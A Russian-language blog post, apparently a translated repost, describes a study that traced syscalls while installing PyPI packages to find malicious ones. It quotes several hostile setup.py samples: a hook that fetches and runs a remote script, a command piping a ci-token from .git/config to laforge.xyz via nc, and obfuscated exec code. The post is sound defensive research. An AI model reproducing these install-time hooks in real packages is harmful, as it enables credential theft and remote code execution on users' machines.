Это означает, что если мы сможем наблюдать за syscalls во время установки пакета Python, то сможем понять, происходит ли что-то подозрительное. Преимущество такого подхода заключается в том, что он не зависит от степени обфускации кода — мы видим именно то, что происходит на самом деле.

Важно отметить, что идею о наблюдении за syscalls придумал не я. Такие люди, как Адам Болдуин говорили об этом ещё с 2017 года. Кроме того, существует замечательная статья, опубликованная Технологическим институтом Джорджии, в которой, среди прочего, используется такой же подход. Честно говоря, в этом посте я просто буду пытаться воспроизвести их работу.

Итак, мы знаем, что хотим отслеживать syscalls, но как именно это делать?

Слежение за Syscalls при помощи Sysdig

Существует множество инструментов, предназначенных для наблюдения за syscalls. Для своего проекта я использовал sysdig, поскольку он обеспечивает и структурированный вывод, и удобные функции фильтрации.

Чтобы всё заработало, при запуске контейнера Docker, устанавливающего пакет, я также запускал процесс sysdig, отслеживающий события только из этого контейнера. Также я отфильтровал сетевые операции чтения/записи, идущие с/на pypi.org или files.pythonhosted.com, поскольку не хотел захламлять логи трафиком, относящимся к скачиванию пакетов.

Найдя способ перехватывания syscalls, я должен был решить ещё одну проблему: получить список всех пакетов PyPI.

Получаем пакеты Python

К счастью для нас, у PyPI есть API под названием «Simple API», который также можно воспринимать как «очень большую HTML-страницу со ссылкой на каждый пакет», потому что ею он и является. Это простая опрятная страница, написанная на очень качественном HTML.

Можно взять эту страницу и спарсить все ссылки при помощи pup, получив примерно 268 тысяч пакетов:

❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

❯ wc -l pypi_full.txt 
  268038 pypi_full.txt

В этом эксперименте меня будет интересовать только самый последний релиз каждого пакета. Есть вероятность, что существуют вредоносные версии пакетов, погребённых в старых релизах, но счета за AWS сами себя не оплатят.

В результате я пришёл примерно к такому конвейеру обработки:


Если вкратце, мы отправляем имя каждого пакета набору инстансов EC2 (в будущем я бы хотел использовать что-то наподобие Fargate, но я не знаю Fargate, так что...), который получает метаданные о пакете из PyPI, а затем запускает sysdig, а также набор контейнеров для установки пакета через pip install, собирая при этом информацию о syscalls и сетевом трафике. Затем все данные передаются на S3, чтобы с ними разбирался я.

Вот как выглядит этот процесс:

Результаты

После завершения процесса у меня получился примерно терабайт данных, находящихся в S3 bucket и покрывающий примерно 245 тысяч пакетов. У некоторых пакетов не было опубликованных версий, у некоторых других имелись различные ошибки обработки, но в целом это выглядит как отличная выборка для работы.

Теперь интересная часть: куча grep анализ.

Я объединил метаданные и выходные данные, получив набор файлов JSON, которые выглядели примерно так:

{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}

Затем я написал набор скриптов, чтобы начать собирать данные, пытаясь разобраться в том, что безобидно, а что вредоносно. Давайте изучим некоторые из результатов.

Сетевые запросы

Существует множество причин, по которым пакету может понадобиться создать сетевое подключение в процессе установки. Возможно, ему нужно скачать двоичные компоненты или другие ресурсы, это может быть некая аналитика или же он может пытаться извлечь данные или учётную информацию из системы.

В результате выяснилось, что 460 пакетов создают сетевые подключения к 109 уникальным хостам. Как и сказано в упомянутой выше статье, довольно многие из них вызваны тем, что пакеты имеют общую зависимость, создающую сетевое подключение. Можно отфильтровать их, сопоставив зависимости, но я этого ещё не делал.

Подробная разбивка DNS-запросов, наблюдаемых во время установки, находится здесь.

Исполнение команд

Как и в случае с сетевыми подключениями, у пакетов могут быть безвредные причины для выполнения системных команд при установке. Это может делаться для компилирования нативных двоичных файлов, настройки нужного окружения и так далее.

При изучении нашей выборки выяснилось, что во время установки исполняют команды 60 725 пакетов. И как и в случае с сетевыми подключениями, нужно помнить о том, что многие из них являются результатом зависимости от пакета, исполняющего команды.

Интересные пакеты

После изучения результатов большинство сетевых подключений и команд, как и ожидалось, выглядело безвредным. Но есть несколько случаев странного поведения, на которые я хотел указать, чтобы продемонстрировать полезность подобного вида анализа.

i-am-malicious

Пакет с именем i-am-malicious, похоже, является проверкой возможности концепции вредоносного пакета. Вот интересные подробности, дающие нам понимание того, что этот пакет стоит исследовать (если нам не было достаточно его названия):

{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}

Мы сразу же начинаем понимать, что здесь происходит. Видим подключение, выполняемое к gist.github.com, исполнение файла Python и создание файла с названием /tmp/malicious-was-here. Разумеется, это происходит именно в setup.py:

from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])

Файл malicious.py просто добавляет в /tmp/malicious-was-here сообщение вида «я здесь был», намекая, что это действительно proof-of-concept.

maliciouspackage

Ещё один самозваный вредоносный пакет, изобретательно названный maliciouspackage, чуть более зловреден. Вот его вывод:

{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}

Как и в первом случае, это даёт нам достаточное представление о происходящем. В данном примере пакет извлекает токен из файла .git/config и загружает его на laforge.xyz. Взглянув на setup.py, мы видим, что конкретно происходит:

...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

Любопытен пакет easyIoCtl. Заявляется, что он предоставляет «абстракции от скучных операций ввода-вывода», но мы видим, что исполняются следующие команды:

[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]

Подозрительно, но не наносит вреда. Однако это идеальный пример, демонстрирующий мощь отслеживания syscalls. Вот соответствующий код в setup.py проекта:

class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)

При таком уровне обфускации сложно понять, что происходит. Традиционный статический анализ мог бы отследить вызов exec, но на этом всё.

Чтобы увидеть, что происходит, мы можем заменить exec на print, получив следующее:

import os;os.system('touch /tmp/testing123')

Именно эту команду мы отследили, и это демонстрирует, что даже обфускация кода не влиять на результаты, потому что мы выполняем отслеживание на уровне системных вызовов.

Что происходит, когда мы находим вредоносный пакет?

Стоит вкратце рассказать о том, что мы можем сделать, когда найдём вредоносный пакет. Первым делом нужно уведомить волонтёров PyPI, чтобы они могли убрать пакет. Это можно сделать, написав на security@python.org.

После этого можно посмотреть, сколько раз был скачан этот пакет, с помощью публичного массива данных PyPI на BigQuery.

Вот пример запроса, позволяющий узнать, сколько раз maliciouspackage был загружен за последние 30 дней:

#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()

Выполнение этого запроса показывает, что он был скачан более 400 раз:

Двигаемся дальше

Пока мы лишь взглянули на PyPI в целом. Изучая данные, я не смог найти пакетов, производящих значимо вредоносные действия и не имеющие при этом в названии слова «malicious». И это хорошо! Но всегда есть вероятность, что я что-то упустил, или это может произойти в будущем. Если вам любопытно поизучать данные, то их можно найти здесь.

В дальнейшем я напишу лямбда-функцию для получения последних изменений в пакетах при помощи RSS-фида PyPI. Каждый обновлённый пакет будет подвергаться такой же обработке и отправлять уведомление в случае обнаружения подозрительной активности.

Мне по-прежнему не нравится, что можно выполнять произвольные команды в системе пользователя просто при установке пакета через pip install. Я понимаю, что большинство случаев использования безвредно, но это открывает возможности угроз, которые необходимо учитывать. Надеюсь, что усилив мониторинг различных менеджеров пакетов, мы сможем обнаруживать признаки вредоносной активности до того, как они окажут серьёзное воздействие.

И такая ситуация не уникальна только для PyPI. Позже я надеюсь провести такой же анализ для RubyGems, npm и других менеджеров, как упомянутые выше исследователи. Весь код, использованный для проведения эксперимента можно найти здесь. Как всегда, если у вас есть какие-нибудь вопросы, задавайте их!

---

На правах рекламы

VDSina предлагает виртуальные серверы на Linux и Windows — выбирайте одну из предустановленных ОС, либо устанавливайте из своего образа.